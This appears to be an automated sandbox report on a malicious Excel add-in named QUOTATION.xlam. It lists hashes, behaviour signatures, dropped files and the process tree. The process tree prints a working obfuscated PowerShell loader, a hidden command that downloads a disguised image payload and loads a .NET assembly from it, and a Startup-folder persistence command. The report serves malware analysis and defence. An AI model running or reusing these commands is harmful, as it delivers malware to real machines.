Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    141s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    06/10/2023, 14:23

General

  • Target

    QUOTATION.xlam

  • Size

    614KB

  • MD5

    50a1039bea7bf6220fd06559c0a5be20

  • SHA1

    91c6d52784cf54457cc5cdb67ef2d3f404100786

  • SHA256

    e01c99c34b581a13f712ab7f5c5d01dd34a06c74fb05bc638aee86552173c787

  • SHA512

    21589d2183af49ad2e27d1bfd18cfcd898b8c87388c691589e4201eb9d1a7373873640ca1935798ecd5be4b75209a67b26d219e069aab66d8c55f20f64a3004f

  • SSDEEP

    12288:r/guhDtOw8C/QFomz+KZXkPQ/WJTAp1ux+8hgjRbCNP4s:r4Ycw8gNQZCo/ul+9RbYPt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

exe.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Drops startup file 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\QUOTATION.xlam
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2200
  • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
    "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
    1⤵
    • Blocklisted process makes network request
    • Launches Equation Editor
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nhwwtjdrt.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\nhwwtjdrt.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ "RRLPLUBipJ".vbs')"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2072
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          4⤵
          • Runs ping.exe
          PID:2632
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\nhwwtjdrt.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ "RRLPLUBipJ".vbs')"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1288
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\nhwwtjdrt.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ "RRLPLUBipJ".vbs')
            5⤵
            • Drops startup file
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2680
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre2DgTreDEDgTreNgDgTrevDgTreDYDgTreMDgTreDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrecgB1DgTreG0DgTrecDgTreBfDgTreHYDgTreYgBzDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDYDgTreOQDgTre1DgTreDQDgTreMDgTreDgTre4DgTreDkDgTreMwDgTre3DgTreCcDgTreOwDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB3DgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTreuDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreKQDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreEYDgTreaQBiDgTreGUDgTrecgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgB1DgTreHMDgTrebwB3DgTreG4DgTreYQBuDgTreG4DgTreYQBuDgTreG4DgTreLwDgTrexDgTreDkDgTreLgDgTrezDgTreDMDgTreLgDgTreyDgTreDQDgTreLgDgTrezDgTreDkDgTreMQDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGYDgTreZDgTreBmDgTreGQDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreYQBkDgTreHMDgTreYQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBjDgTreHUDgTreJwDgTrepDgTreCkDgTre'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.usownannann/19.33.24.391//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
          4⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2952

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    1f06eb51c04b7a7be7544c256f95235c

    SHA1

    1f7b7f6a2b110440a896ca5ea4d083811c29f740

    SHA256

    e3d3fa060656b36c8595bb2cb81cf5592398825f22d6be1b709e91ed33d03f5c

    SHA512

    7c649afc70142af9ecb487f64b0d0eec375ec6743edf043c678c18ff89f584138bf47f8022aa9e42fa718c5b443fd969e535a98a787a7a4ab6a54c172766d6b3

  • C:\Users\Admin\AppData\Local\Temp\Cab789B.tmp

    Filesize

    61KB

    MD5

    f3441b8572aae8801c04f3060b550443

    SHA1

    4ef0a35436125d6821831ef36c28ffaf196cda15

    SHA256

    6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

    SHA512

    5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

  • C:\Users\Admin\AppData\Local\Temp\Tar793A.tmp

    Filesize

    163KB

    MD5

    9441737383d21192400eca82fda910ec

    SHA1

    725e0d606a4fc9ba44aa8ffde65bed15e65367e4

    SHA256

    bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

    SHA512

    7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S1P737N96OCBM409PWOL.temp

    Filesize

    7KB

    MD5

    fe19a5937d3ce926ed7c33f833f57866

    SHA1

    6852b126d65a73ad8c240c3caa8e9871fff9f2ec

    SHA256

    1a9951be23d7f4cb53c0cd88226ff3823136bd4e50805605060e39ac5b38f3cc

    SHA512

    42b67434aab454d16ccaad00c1fa5275291d476d8d531c6b1cb522ac9f1faa5eeae0821ce7fbf47ecb255ac792a4c2c9c3d46c77d0acae9491cd04c926edbf02

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    fe19a5937d3ce926ed7c33f833f57866

    SHA1

    6852b126d65a73ad8c240c3caa8e9871fff9f2ec

    SHA256

    1a9951be23d7f4cb53c0cd88226ff3823136bd4e50805605060e39ac5b38f3cc

    SHA512

    42b67434aab454d16ccaad00c1fa5275291d476d8d531c6b1cb522ac9f1faa5eeae0821ce7fbf47ecb255ac792a4c2c9c3d46c77d0acae9491cd04c926edbf02

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    fe19a5937d3ce926ed7c33f833f57866

    SHA1

    6852b126d65a73ad8c240c3caa8e9871fff9f2ec

    SHA256

    1a9951be23d7f4cb53c0cd88226ff3823136bd4e50805605060e39ac5b38f3cc

    SHA512

    42b67434aab454d16ccaad00c1fa5275291d476d8d531c6b1cb522ac9f1faa5eeae0821ce7fbf47ecb255ac792a4c2c9c3d46c77d0acae9491cd04c926edbf02

  • C:\Users\Admin\AppData\Roaming\nhwwtjdrt.vbs

    Filesize

    341KB

    MD5

    f29c576dafde535cca1e48bc52efc6d9

    SHA1

    336ec58fd0680ad912f02ce22d94d0fdbe7cd659

    SHA256

    83cfa32b8cd64b96f7b79f23371174ad566fa823d59c3ec4f8d0f953b7f7b24a

    SHA512

    12c5a4bce23ff2251824f388a8151cc76db33c6e27106deeb4bb7869d050d6c81df7b756b4227225e4f63cb3ef0343900ca6e0a4d06ad07757ef78bebbd894c4

  • C:\Users\Admin\AppData\Roaming\nhwwtjdrt.vbs

    Filesize

    341KB

    MD5

    f29c576dafde535cca1e48bc52efc6d9

    SHA1

    336ec58fd0680ad912f02ce22d94d0fdbe7cd659

    SHA256

    83cfa32b8cd64b96f7b79f23371174ad566fa823d59c3ec4f8d0f953b7f7b24a

    SHA512

    12c5a4bce23ff2251824f388a8151cc76db33c6e27106deeb4bb7869d050d6c81df7b756b4227225e4f63cb3ef0343900ca6e0a4d06ad07757ef78bebbd894c4

  • memory/2200-1-0x000000007208D000-0x0000000072098000-memory.dmp

    Filesize

    44KB

  • memory/2200-14-0x000000007208D000-0x0000000072098000-memory.dmp

    Filesize

    44KB

  • memory/2200-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2200-4519-0x000000007208D000-0x0000000072098000-memory.dmp

    Filesize

    44KB

  • memory/2680-11-0x000000006B980000-0x000000006BF2B000-memory.dmp

    Filesize

    5.7MB

  • memory/2680-18-0x000000006B980000-0x000000006BF2B000-memory.dmp

    Filesize

    5.7MB

  • memory/2680-16-0x0000000002690000-0x00000000026D0000-memory.dmp

    Filesize

    256KB

  • memory/2680-15-0x0000000002690000-0x00000000026D0000-memory.dmp

    Filesize

    256KB

  • memory/2680-13-0x0000000002690000-0x00000000026D0000-memory.dmp

    Filesize

    256KB

  • memory/2680-12-0x000000006B980000-0x000000006BF2B000-memory.dmp

    Filesize

    5.7MB

  • memory/2952-134-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-122-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-35-0x000000006BAA0000-0x000000006C04B000-memory.dmp

    Filesize

    5.7MB

  • memory/2952-36-0x0000000002950000-0x0000000002990000-memory.dmp

    Filesize

    256KB

  • memory/2952-163-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-161-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-159-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-157-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-99-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-100-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-102-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-104-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-106-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-155-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-110-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-152-0x000000006BAA0000-0x000000006C04B000-memory.dmp

    Filesize

    5.7MB

  • memory/2952-112-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-114-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-116-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-118-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-120-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-34-0x000000006BAA0000-0x000000006C04B000-memory.dmp

    Filesize

    5.7MB

  • memory/2952-124-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-126-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-128-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-130-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-132-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-153-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-136-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-138-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-140-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-142-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-144-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-146-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-148-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2952-150-0x0000000008860000-0x0000000008B7C000-memory.dmp

    Filesize

    3.1MB

  • memory/2968-25-0x0000000002650000-0x0000000002690000-memory.dmp

    Filesize

    256KB

  • memory/2968-109-0x0000000002650000-0x0000000002690000-memory.dmp

    Filesize

    256KB

  • memory/2968-108-0x0000000002650000-0x0000000002690000-memory.dmp

    Filesize

    256KB

  • memory/2968-98-0x000000006BAA0000-0x000000006C04B000-memory.dmp

    Filesize

    5.7MB

  • memory/2968-26-0x000000006BAA0000-0x000000006C04B000-memory.dmp

    Filesize

    5.7MB

  • memory/2968-28-0x0000000002650000-0x0000000002690000-memory.dmp

    Filesize

    256KB

  • memory/2968-27-0x0000000002650000-0x0000000002690000-memory.dmp

    Filesize

    256KB

  • memory/2968-24-0x000000006BAA0000-0x000000006C04B000-memory.dmp

    Filesize

    5.7MB